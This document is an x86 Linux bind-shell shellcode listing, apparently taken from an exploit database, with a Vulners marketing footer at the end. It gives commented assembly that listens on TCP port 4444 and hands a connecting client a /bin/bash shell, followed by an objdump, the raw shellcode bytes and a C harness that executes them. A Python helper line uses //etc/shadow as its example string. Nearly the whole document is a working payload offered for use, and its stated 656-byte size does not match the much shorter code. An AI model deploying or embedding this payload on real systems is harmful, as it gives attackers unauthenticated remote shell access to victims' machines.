// Title: Linux X86 Bind TCP:4444 (656 bytes)
// Author: Brandon Dennis
// Contact: [email protected]
// Date: 5/24/2016
// ASM Source: https://github.com/slyth11907/x86-ASM-Linux-Intel/blob/master/Code-Examples/ShellCode/execve-stack-bind.asm
/*
; Filename: execve-stack-bind.asm
; Author: Brandon Dennis
; Date: 5/24/2016
; execve
; execve takes 3 arguments
; 1: filename: EX /bin/bash, 0x0
; 2: arguments for the executable(1st arg should be the filename then 2nd arg should be null or 0x0000)
; 3: envp is used for env settings, we can leave this as null: EX 0x0000
; Python code to get the instruction in HEX of the string reversed to place into the stack
; python -c 'string="//etc/shadow";splitNum=8;print "\nLength: %s" % len(string[::-1]);string=string[::-1].encode("hex"); \
; string=["push 0x"+str(string[i:i+splitNum]) for i in range(0, len(string), splitNum)]; \
; print "Hex List:\n"; print("\n".join(h for h in string))'
; Port: 4444 (\x5c\x11) in shellcode
; ShellCode---
; "\x31\xc0\x50\x66\xb8\x66\x00\x31\xdb\xb3\x01\x6a\x01\x6a\x02\x89\xe1\xcd\x80
; \x89\xc2\x31\xc0\x66\xb8\x66\x00\x31\xdb\xb3\x14\x6a\x04\x54\x6a\x02\x6a\x01
; \x52\x89\xe1\xcd\x80\x31\xc0\x66\xb8\x66\x00\x31\xdb\x53\xb3\x02\x66\x68\x11
; \x5c\x66\x6a\x02\x89\xe1\x6a\x16\x51\x52\x89\xe1\xcd\x80\x31\xc0\x31\xdb\x53
; \x66\xb8\x66\x00\xb3\x04\x52\x89\xe1\xcd\x80\x31\xc0\x31\xdb\x53\x53\x66\xb8
; \x66\x00\xb3\x05\x52\x89\xe1\xcd\x80\x89\xc2\x31\xc0\x31\xc9\xb0\x3f\x89\xd3
; \xcd\x80\x31\xc0\x31\xc9\xb0\x3f\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\xb1\x02\xcd
; \x80\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f
; \x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
; ShellCode---
; Bytes: 656
; Tested on: Linux 3.13.0-32, Ubuntu 12.04.5 LTS, X86
global _start
section .text
_start:
; Create the socket FD
; socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xor eax, eax
push eax ; this is for our first arg as it is needing be be 0 for IPPROTO_IP
mov ax, 102 ; moves syscall for socketcall into ax
xor ebx, ebx ; 0's out ebx
mov bl, 0x1 ; setting the socketcall type to sys_socket
push 0x1 ; we now pass 1 onto the stack for SOCK_STREAM
push 0x2 ; we now pass 2 onto the stack for AF_INET
mov ecx, esp; this moves the memory location of our args to ecx
int 0x80 ; execute the syscall socketcall
mov edx, eax ; This allows us to save the FD from the socket
; This avoids SIGSEGV when trying to reconnect
; setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &socklen_t, socklen_t)
xor eax, eax; 0's our eax
mov ax, 102; moves syscall for socketcall into ax
xor ebx, ebx; 0's out ebx
mov bl, 0x14; moves the sys_setsocketopt as param 1
push 0x4; push the sizeof onto the stack
push esp; now we push the memory location of param 1(sizeof) onto the stack
push 0x2; we now set the SO_REUSEADDR onto the stack
push 0x1; we now set the SOL_SOCKET onto the stack
push edx; this pushes our previous socket FD onto the stack
mov ecx, esp; this pushes the memory location of our args into ecx
int 0x80; execute the syscall socketcall
; We now setup the bind
; bind(sockfd, [AF_INET, 11111, INADDR_ANY], 16)
xor eax, eax; 0's out eax
mov ax, 102; moves syscall for socketcall into ax
xor ebx, ebx; 0's out ebx
push ebx; this pushes 0 onto the stack for our first arg of INADDR_ANY for our local host
mov bl, 0x2; set the socketcall type to sys_bind
push WORD 0x5c11; we now set the port to bind on, in reverse order is 4444
push WORD 0x2; we now push the arg AF_INET onto the stack
mov ecx, esp; we now grab our memeory location to our args
push 0x16; we now set the sockaddr size onto the stack
push ecx; we now push our memory location of our previous args onto the stack
push edx; we push our current socket FD onto the stack
mov ecx, esp; we now get our new socket FD
int 0x80; execute the syscall socketcall
; We now need to setup a passive socket to wait for the new connection
; listen(sockfd, 0);
xor eax, eax; 0's our eax
xor ebx, ebx; 0's out ebx
push ebx; this pushes our 2nd arg for connection que size to 0
mov ax, 102; moves syscall for socketcall into ax
mov bl, 0x4; we now set the socketcall type to sys_listen
push edx; we now push our socket FD onto the stack
mov ecx, esp; we now move the memory location of our args list into ecx
int 0x80; execute the syscall for socketcall with the listen type
; We now accept the connection when it comes in
; accept(sockfd, NULL, NULL)
xor eax, eax; 0's our eax
xor ebx, ebx; 0's out ebx
push ebx; we add these 2 0's since we dont need information on the client connecting to us
push ebx
mov ax, 102; moves syscall for socketcall int ax
mov bl, 0x5; we set the socketcall type to sys_accept
push edx; we push our Socket FD onto the stack
mov ecx, esp; we grab the memeory location of our args and move it to ecx
int 0x80; execute the syscall socketcall
mov edx, eax; this saves the Socket FD for the client
; We can now use dup2 to create all 3 of our std's, in/out/err so that our shellhas access to it over the socket
; dup2(clientfd)
xor eax, eax; 0's out eax
xor ecx, ecx; 0's out ecx since our first std FD is in so its 0
mov al, 63; we now move the syscall for dup2 into al
mov ebx, edx; we now move the client socket FD into ebx
int 0x80; execute the dup2 syscall
xor eax, eax; 0's out the eax reg due to any return's happening
xor ecx, ecx; 0's out ecx
mov al, 63; this is the syscall for dup2
mov cl, 0x1; we now set cl to the FD of stdout
int 0x80; execut the dup2 syscall
xor eax, eax; 0's out eax
mov al, 63; moves the dup2 syscall
mov cl, 0x2; we now set cl to the stderr FD
int 0x80; execute the dup2 syscall
; We can now execute our shell in /bin/bash
xor eax, eax ; we first need our nulls
push eax ; this will push a drowd of nulls onto the stack
; this section of pushes are the string ////bin/bash from our pyhton 1 liner above
push 0x68736162
push 0x2f6e6962
push 0x2f2f2f2f
mov ebx, esp ; this moves the memory address of esp(pointing to our string & nulls)
; from the stack into ebx where execve is expecting the name of the application + a null
push eax ; this pushes another null onto the stack
mov edx, esp ; this now gets the memory address of the nulls we just pushed onto the stack into edx, this is for envp so it can just be null
push ebx ; this pushes the memory address of our string onto the stack
mov ecx, esp ; this moves the address of our string from the stack to ecx
mov al, 0xb ; this will load the syscall # 11
int 0x80 ; execute the system call
*/
// Python code to get the instruction in HEX of the string reversed to place into the stack
// python -c 'string="//etc/shadow";splitNum=8;print "\nLength: %s" % len(string[::-1]);string=string[::-1].encode("hex"); \
// string=["push 0x"+str(string[i:i+splitNum]) for i in range(0, len(string), splitNum)]; \
// print "Hex List:\n"; print("\n".join(h for h in string))'
// Port: 4444 (\x5c\x11) in shellcode
// ShellCode---
// Bytes: 656
// Tested on: Linux 3.13.0-32, Ubuntu 12.04.5 LTS, X86
//------------- OBJDUMP -------------
//execve-stack-bind: file format elf32-i386
//Disassembly of section .text:
//8048060 <_start>:
//8048060: 31 c0 xor eax,eax
//8048062: 50 push eax
//8048063: 66 b8 66 00 mov ax,0x66
//8048067: 31 db xor ebx,ebx
//8048069: b3 01 mov bl,0x1
//804806b: 6a 01 push 0x1
//804806d: 6a 02 push 0x2
//804806f: 89 e1 mov ecx,esp
//8048071: cd 80 int 0x80
//8048073: 89 c2 mov edx,eax
//8048075: 31 c0 xor eax,eax
//8048077: 66 b8 66 00 mov ax,0x66
//804807b: 31 db xor ebx,ebx
//804807d: b3 14 mov bl,0x14
//804807f: 6a 04 push 0x4
//8048081: 54 push esp
//8048082: 6a 02 push 0x2
//8048084: 6a 01 push 0x1
//8048086: 52 push edx
//8048087: 89 e1 mov ecx,esp
//8048089: cd 80 int 0x80
//804808b: 31 c0 xor eax,eax
//804808d: 66 b8 66 00 mov ax,0x66
//8048091: 31 db xor ebx,ebx
//8048093: 53 push ebx
//8048094: b3 02 mov bl,0x2
//8048096: 66 68 11 5c pushw 0x5c11
//804809a: 66 6a 02 pushw 0x2
//804809d: 89 e1 mov ecx,esp
//804809f: 6a 16 push 0x16
//80480a1: 51 push ecx
//80480a2: 52 push edx
//80480a3: 89 e1 mov ecx,esp
//80480a5: cd 80 int 0x80
//80480a7: 31 c0 xor eax,eax
//80480a9: 31 db xor ebx,ebx
//80480ab: 53 push ebx
//80480ac: 66 b8 66 00 mov ax,0x66
//80480b0: b3 04 mov bl,0x4
//80480b2: 52 push edx
//80480b3: 89 e1 mov ecx,esp
//80480b5: cd 80 int 0x80
//80480b7: 31 c0 xor eax,eax
//80480b9: 31 db xor ebx,ebx
//80480bb: 53 push ebx
//80480bc: 53 push ebx
//80480bd: 66 b8 66 00 mov ax,0x66
//80480c1: b3 05 mov bl,0x5
//80480c3: 52 push edx
//80480c4: 89 e1 mov ecx,esp
//80480c6: cd 80 int 0x80
//80480c8: 89 c2 mov edx,eax
//80480ca: 31 c0 xor eax,eax
//80480cc: 31 c9 xor ecx,ecx
//80480ce: b0 3f mov al,0x3f
//80480d0: 89 d3 mov ebx,edx
//80480d2: cd 80 int 0x80
//80480d4: 31 c0 xor eax,eax
//80480d6: 31 c9 xor ecx,ecx
//80480d8: b0 3f mov al,0x3f
//80480da: b1 01 mov cl,0x1
//80480dc: cd 80 int 0x80
//80480de: 31 c0 xor eax,eax
//80480e0: b0 3f mov al,0x3f
//80480e2: b1 02 mov cl,0x2
//80480e4: cd 80 int 0x80
//80480e6: 31 c0 xor eax,eax
//80480e8: 50 push eax
//80480e9: 68 62 61 73 68 push 0x68736162
//80480ee: 68 62 69 6e 2f push 0x2f6e6962
//80480f3: 68 2f 2f 2f 2f push 0x2f2f2f2f
//80480f8: 89 e3 mov ebx,esp
//80480fa: 50 push eax
//80480fb: 89 e2 mov edx,esp
//80480fd: 53 push ebx
//80480fe: 89 e1 mov ecx,esp
//8048100: b0 0b mov al,0xb
//8048102: cd 80 int 0x80
//------------- OBJDUMP -------------
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x66\xb8\x66\x00\x31\xdb\xb3\x01\x6a\x01\x6a\x02\x89\xe1\xcd\x80"
"\x89\xc2\x31\xc0\x66\xb8\x66\x00\x31\xdb\xb3\x14\x6a\x04\x54\x6a\x02\x6a\x01"
"\x52\x89\xe1\xcd\x80\x31\xc0\x66\xb8\x66\x00\x31\xdb\x53\xb3\x02\x66\x68"
"\x11\x5c" //<----PORT #4444
"\x66\x6a\x02\x89\xe1\x6a\x16\x51\x52\x89\xe1\xcd\x80\x31\xc0\x31\xdb\x53"
"\x66\xb8\x66\x00\xb3\x04\x52\x89\xe1\xcd\x80\x31\xc0\x31\xdb\x53\x53\x66\xb8"
"\x66\x00\xb3\x05\x52\x89\xe1\xcd\x80\x89\xc2\x31\xc0\x31\xc9\xb0\x3f\x89\xd3"
"\xcd\x80\x31\xc0\x31\xc9\xb0\x3f\xb1\x01\xcd\x80\x31\xc0\xb0\x3f\xb1\x02\xcd"
"\x80\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f"
"\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation